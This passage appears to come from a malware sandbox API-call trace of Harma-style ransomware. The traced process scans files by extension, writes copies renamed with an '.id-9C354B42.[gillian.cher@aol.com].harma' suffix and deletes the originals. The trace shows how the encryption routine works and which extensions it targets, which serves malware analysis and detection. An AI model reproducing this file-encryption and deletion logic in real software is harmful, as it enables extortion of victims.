lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.155] lstrlenW (lpString=".doc") returned 4 [0064.155] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.155] lstrlenW (lpString=".docx") returned 5 [0064.155] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.155] lstrlenW (lpString=".pdf") returned 4 [0064.155] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.155] lstrlenW (lpString=".xls") returned 4 [0064.155] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.155] lstrlenW (lpString=".xlsx") returned 5 [0064.155] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.155] lstrlenW (lpString=".ppt") returned 4 [0064.155] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.155] lstrlenW (lpString=".zip") returned 4 [0064.155] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.155] lstrlenW (lpString=".rar") returned 4 [0064.155] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.155] lstrlenW (lpString=".bz2") returned 4 [0064.155] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.155] lstrlenW (lpString=".7z") returned 3 [0064.155] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.155] lstrlenW (lpString=".dbf") returned 4 [0064.155] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.155] lstrlenW (lpString=".1cd") returned 4 [0064.155] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.155] lstrlenW (lpString=".jpg") returned 4 [0064.155] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.156] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.156] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0064.156] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0064.886] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=3316) returned 1 [0064.886] CloseHandle (hObject=0x15c) returned 1 [0064.886] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0064.886] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.886] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.886] lstrlenW (lpString=".doc") returned 4 [0064.886] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.886] lstrlenW (lpString=".docx") returned 5 [0064.886] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0064.886] lstrlenW (lpString=".pdf") returned 4 [0064.886] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.886] lstrlenW (lpString=".xls") returned 4 [0064.886] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.887] lstrlenW (lpString=".xlsx") returned 5 [0064.887] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0064.887] lstrlenW (lpString=".ppt") returned 4 [0064.887] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.887] lstrlenW (lpString=".zip") returned 4 [0064.887] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.887] lstrlenW (lpString=".rar") returned 4 [0064.887] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.887] lstrlenW (lpString=".bz2") returned 4 [0064.887] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.887] lstrlenW (lpString=".7z") returned 3 [0064.887] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.887] lstrlenW (lpString=".dbf") returned 4 [0064.887] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.887] lstrlenW (lpString=".1cd") returned 4 [0064.887] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.887] lstrlenW (lpString=".jpg") returned 4 [0064.887] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.887] lstrlenW (lpString=".doc") returned 4 [0064.887] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.887] lstrlenW (lpString=".docx") returned 5 [0064.887] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0064.887] lstrlenW (lpString=".pdf") returned 4 [0064.887] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.887] lstrlenW (lpString=".xls") returned 4 [0064.888] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.888] lstrlenW (lpString=".xlsx") returned 5 [0064.888] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0064.888] lstrlenW (lpString=".ppt") returned 4 [0064.888] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.888] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.888] lstrlenW (lpString=".zip") returned 4 [0064.888] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.888] lstrlenW (lpString=".rar") returned 4 [0064.888] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.888] lstrlenW (lpString=".bz2") returned 4 [0064.888] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.888] lstrlenW (lpString=".7z") returned 3 [0064.888] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.888] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.888] lstrlenW (lpString=".dbf") returned 4 [0064.888] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.888] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.888] lstrlenW (lpString=".1cd") returned 4 [0064.888] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.888] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0064.888] lstrlenW (lpString=".jpg") returned 4 [0064.888] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.888] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.888] lstrlenW (lpString="curtains.png") returned 12 [0064.888] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.139] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=47300) returned 1 [0065.139] CloseHandle (hObject=0x218) returned 1 [0065.139] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0065.139] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.139] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned 65 [0065.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned 65 [0065.139] lstrlenW (lpString=".doc") returned 4 [0065.139] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.139] lstrlenW (lpString=".docx") returned 5 [0065.139] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0065.139] lstrlenW (lpString=".pdf") returned 4 [0065.139] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.139] lstrlenW (lpString=".xls") returned 4 [0065.139] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.140] lstrlenW (lpString=".xlsx") returned 5 [0065.140] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0065.140] lstrlenW (lpString=".ppt") returned 4 [0065.140] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned 65 [0065.140] lstrlenW (lpString=".zip") returned 4 [0065.140] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.140] lstrlenW (lpString=".rar") returned 4 [0065.140] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.140] lstrlenW (lpString=".bz2") returned 4 [0065.140] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.140] lstrlenW (lpString=".7z") returned 3 [0065.140] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned 65 [0065.140] lstrlenW (lpString=".dbf") returned 4 [0065.140] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.648] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.648] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.649] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.649] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.650] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.650] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.650] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.912] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0066.058] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.058] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.058] GetLastError () returned 0x0 [0066.058] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x745e, lpOverlapped=0x0) returned 1 [0066.068] WriteFile (in: hFile=0x20c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0066.070] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.070] WriteFile (in: hFile=0x20c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0066.070] SetEndOfFile (hFile=0x20c) returned 1 [0066.070] CloseHandle (hObject=0x20c) returned 1 [0066.070] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.070] SetEndOfFile (hFile=0x214) returned 1 [0066.071] CloseHandle (hObject=0x214) returned 1 [0066.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0066.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.072] lstrlenW (lpString=".doc") returned 4 [0066.072] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0066.072] lstrlenW (lpString=".docx") returned 5 [0066.072] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0066.072] lstrlenW (lpString=".pdf") returned 4 [0066.072] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0066.072] lstrlenW (lpString=".xls") returned 4 [0066.072] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0066.072] lstrlenW (lpString=".xlsx") returned 5 [0066.072] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0066.072] lstrlenW (lpString=".ppt") returned 4 [0066.072] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0066.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.072] lstrlenW (lpString=".zip") returned 4 [0066.072] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0066.072] lstrlenW (lpString=".rar") returned 4 [0066.072] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0066.072] lstrlenW (lpString=".bz2") returned 4 [0066.072] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString=".7z") returned 3 [0066.073] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0066.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.073] lstrlenW (lpString=".dbf") returned 4 [0066.073] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.073] lstrlenW (lpString=".1cd") returned 4 [0066.073] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.073] lstrlenW (lpString=".jpg") returned 4 [0066.073] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.073] lstrlenW (lpString=".doc") returned 4 [0066.073] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString=".docx") returned 5 [0066.073] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0066.073] lstrlenW (lpString=".pdf") returned 4 [0066.073] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString=".xls") returned 4 [0066.073] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString=".xlsx") returned 5 [0066.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0066.073] lstrlenW (lpString=".ppt") returned 4 [0066.073] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0066.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.073] lstrlenW (lpString=".zip") returned 4 [0066.073] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0066.073] lstrlenW (lpString=".rar") returned 4 [0066.073] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0066.074] lstrlenW (lpString=".bz2") returned 4 [0066.074] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0066.074] lstrlenW (lpString=".7z") returned 3 [0066.074] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0066.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.074] lstrlenW (lpString=".dbf") returned 4 [0066.074] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0066.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.074] lstrlenW (lpString=".1cd") returned 4 [0066.074] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0066.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0066.074] lstrlenW (lpString=".jpg") returned 4 [0066.074] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0066.074] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.074] lstrlenW (lpString="AG00021_.GIF") returned 12 [0066.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0066.340] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=14873) returned 1 [0066.348] CloseHandle (hObject=0x1ec) returned 1 [0066.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0066.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0066.357] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.357] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0066.358] GetLastError () returned 0x0 [0066.358] ReadFile (in: hFile=0x1ec, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0066.361] WriteFile (in: hFile=0x1f0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0066.363] ReadFile (in: hFile=0x1ec, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.363] WriteFile (in: hFile=0x1f0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.363] SetEndOfFile (hFile=0x1f0) returned 1 [0066.363] CloseHandle (hObject=0x1f0) returned 1 [0066.363] SetFilePointerEx (in: 